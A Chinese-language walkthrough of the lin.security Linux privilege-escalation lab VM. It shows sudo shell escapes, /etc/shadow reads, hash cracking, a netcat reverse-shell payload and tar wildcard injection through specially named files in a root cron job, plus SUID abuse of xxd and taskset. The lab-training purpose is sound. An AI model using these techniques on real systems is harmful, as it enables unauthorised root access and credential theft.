0x00 in.security靶场介绍

in.security 提权靶场通关手册上篇

 

大家好,本期丹丹妹,给大家带来一个Linux 配置问题导致提权的靶场通关手册,也就是lin.security靶场。

lin.security靶场是一个基于Ubuntu(18.04 LTS)的Linux虚拟机,靶场提供许多权限提升的漏洞供我们练习关于linux权限的相关知识,下面是这个靶场的下载链接: 

https://in.security/downloads/lin.security_v1.0.ova。 

这个是一个vmware的ova文件,下载后之后使用vmware虚拟机软件即可打开。登陆账户为 bob/secret,配置网络可使用NAT或者桥接模式,注意的是18.04 LTS配置网络使用netplan来配置,所以要配置网卡先使用ifconfig -a来查看。

 

0x01 用户的sudo权限

 

sudo其实是很常用的命令了,sudo权限则是root把本来只能超级用户执行的命令赋予普通用户执行,这里的命令指的是系统命令,对于linux来说一切皆是文件,所以系统命令也是一个文件。

一般来讲当管理员需要某个用户在执行root权限的命令时,会去配置sudo。具体是修改/etc/sudoers这个文件。但是普通用户其实是查看和操作这个文件的,他只能查看自己是否被配置了sudo权限。普通用户可以采用sudo -l这个命令来查看自己是否有sudo配置。

in.security 提权靶场通关手册上篇

我们可以发现bob这个用户可以执行很多的命令,利用这些命令可以简单直接提升到root权限。

/bin/ash

sudo /bin/ash

in.security 提权靶场通关手册上篇

/usr/bin/awk 

查看密码文件/etc/shadow

in.security 提权靶场通关手册上篇

获取shell

sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'

in.security 提权靶场通关手册上篇

/usr/bin/curl

in.security 提权靶场通关手册上篇

/usr/bin/find

获取shell

find . -exec /bin/sh \; -quit

in.security 提权靶场通关手册上篇

可以发现,哪怕是find这种查找命令被赋予了sudo,也能够瞬间提权为root权限,只要我们能够巧妙的利用执行这些命令。限于篇幅,就不给出所有命令的利用方式了,我们可以参考资源https://gtfobins.github.io/ ,里面涵盖了许多可以被利用的命令。

in.security 提权靶场通关手册上篇

0x02 /etc/passwd的哈希

 

linux的用户密码哈希存储在/etc/shadow这个文件,而这个文件普通用户是无法查看的。而普通用户能够查看到的则是/etc/passwd这个文件。如果我们查看/etc/passwd通常会看到以下内容:

in.security 提权靶场通关手册上篇

root:x:0:0:root:/root:/bin/bash

如果有一个账户的第二列是密码哈希,如果该列为x则代表密码哈希存储在/etc/shadow文件上。而在lin.security虚拟机上可以看到像insecurity这么一个账户,这个账号的uid和gid都为0。用类似Johnny或者hash-identifier会被表示成descrypt,进而可以被**出来。

in.security 提权靶场通关手册上篇

in.security 提权靶场通关手册上篇

通过查询,可得密码为[email protected]

in.security 提权靶场通关手册上篇

in.security 提权靶场通关手册上篇

0x03 利用定时任务cron以及通配符

in.security 提权靶场通关手册上篇

查看/etc/crontab的定时任务会产生一些有趣的结果。

in.security 提权靶场通关手册上篇

每隔1分钟定期执行/etc/cron.daily/backup这个文件。

[email protected]:~$ cat /etc/cron.daily/backup

2.#!/bin/bash

3.for i in $(ls /home); do cd /home/$i && /bin/tar -zcf /etc/backups/home-$i.tgz *; done

backup这个文件的内容是说循环home目录,并且使用tar进行打包到/etc/backups/这个目录下。 

查看/etc/backups/这个目录:

in.security 提权靶场通关手册上篇

这里涉及到了利用通配符进行Linux本地提权,我们需要另开一个bob的ssh会话。

使用msfvenom生成nc反弹一句话,命令如下:

in.security 提权靶场通关手册上篇

[email protected]:~# msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 R

2.[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload

3.[-] No arch selected, selecting arch: cmd from the payload

4.No encoder or badchars specified, outputting raw payload

5.Payload size: 91 bytes

6.mkfifo /tmp/kuhdq; nc 127.0.0.1 8888 0</tmp/kuhdq | /bin/sh >/tmp/kuhdq 2>&1; rm /tmp/kuhdq

得到payload: 

mkfifo /tmp/kuhdq; nc 127.0.0.1 8888 0</tmp/kuhdq | /bin/sh >/tmp/kuhdq 2>&1; rm /tmp/kuhdq

然后分别执行:

 

[email protected]:~$ echo "mkfifo /tmp/kuhdq; nc 127.0.0.1 8888 0</tmp/kuhdq | /bin/sh >/tmp/kuhdq 2>&1; rm /tmp/kuhdq" > shell.sh && chmod +x shell.sh

[email protected]:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"

[email protected]:~$ echo "" > --checkpoint=1

我们在另外一个会话终端开启nc监听:

1.nc -lvnp 8888

in.security 提权靶场通关手册上篇

 

1.–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)

2.–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION

in.security 提权靶场通关手册上篇

这里的–checkpoint-action选项,用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。因此,选项–checkpoint=1 和 –checkpoint-action=exec=sh shell.sh作为命令行选项交给了tar程序。

关于这里知识点有点多,大家回去可以做这么一个实验:

in.security 提权靶场通关手册上篇类似的例子比如还有chown这个命令:

--reference=<参考文件或目录>:这个意思是 把指定文件所有者与所有组设置成和参考文件所有者与所属组相同。

in.security 提权靶场通关手册上篇

以上所述之所以能够提权成功,其原理是利用了通配符的特性。通配符是一种特殊语句,比如(*)、(?)、(-)等等,这些符号都可以用来做字符串的模糊匹配用的。我们在终端输入的通配符是由shell来处理的而不是命令语句处理,如果shell在执行的参数值中遇到了通配符,shell会将其当做路径或者文件名在磁盘上搜寻可能的匹配,如果符合匹配则进行代换或者说是路径扩展,不匹配则将通配符作为普通字符传递给命令,然后再由命令进行处理。 

而我们前面的,以root权限执行tar命令进行压缩,同目录下有文件–checkpoint-action=这种带有通配符的文件,其实文件名会被当成命令的一部分从而执行,导致权限提升。

更详尽的原理描述可以参考文章:https://blog.csdn.net/qq_27446553/article/details/80943097。

 

0x04 利用隐藏文件

 

有时候隐藏文件会存放一些重要的信息,比如我们搜索home目录下的所有隐藏文件,并用ls -al显示出来。

in.security 提权靶场通关手册上篇

in.security 提权靶场通关手册上篇

1.find / -name ".*" -type f -path "/home/*" -exec ls -al {} \;

>/dev/null

发现了susan这个用户有一个.secret的隐藏文件,发现里面存放susan这个用户的登陆密码。

in.security 提权靶场通关手册上篇

0x05 利用SUID #1

 

SUID这个是uid +s的组合,s指的是特殊权限。一般情况下,用户的权限是3位,比如0755这样的,默认特殊权限没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有root的权限,就会配置特殊权限。

比如说passwd这个命令,这个命令会修改/etc/shadow文件,而/etc/shadow只有root才能修改,本来passwd这个命令应该也只能root才能执行的。但是系统为了让普通用户能够修改自己的密码,对passwd这个命令赋予了特殊权限并添加了只能修改自己密码的限制。

in.security 提权靶场通关手册上篇

由于passwd这个命令是做过限制的,所以赋予特殊权限是没有问题的,但是如果系统超级用户特殊权限乱用,就会导致提权的问题。

那我们怎么去寻找系统是否存在特殊权限配置的文件呢?可以使用如下命令快速查找所有SUID文件:

1.find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

我们发现了如下一个文件xxd。这个文件其实是命令文件,xxd的作用是将一个文件以16进制的形式显示出来。他被配置了特殊权限,并且用户组为itservices是拥有执行权限x的。

in.security 提权靶场通关手册上篇

这就很危险了,一旦suid和执行权限在一起就可能导致权限提升!!

我们通过命令查看发现susan这个用户属于itservices这个用户组。

in.security 提权靶场通关手册上篇

我们用它来查看/etc/shadow这个文件,更多利用方法可以参考https://gtfobins.github.io/gtfobins/xxd/。

1.xxd "/etc/shadow" | xxd -r

in.security 提权靶场通关手册上篇

0x06 利用SUID #2

 

除了上述的文件外,还发现了一个other角色拥有执行权限的文件,这个文件不限用户,所以危害更大。

in.security 提权靶场通关手册上篇

参考https://gtfobins.github.io/gtfobins/taskset/#suid-enabled,发现该文件可以直接获取shell。

in.security 提权靶场通关手册上篇

0x07 小结

 

好了,本期丹丹的lin.security提权靶场就到这里,是不是还不够过瘾?下篇带来更多关于这个靶场的提权技巧,我们下篇见~

相关文章:

  • 2022-01-20
  • 2022-12-23
  • 2022-12-23
  • 2021-09-12
  • 2021-10-09
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-11-11
  • 2021-07-05
  • 2021-05-14
  • 2021-10-12
  • 2021-08-13
  • 2021-12-21
  • 2021-08-08
相关资源
相似解决方案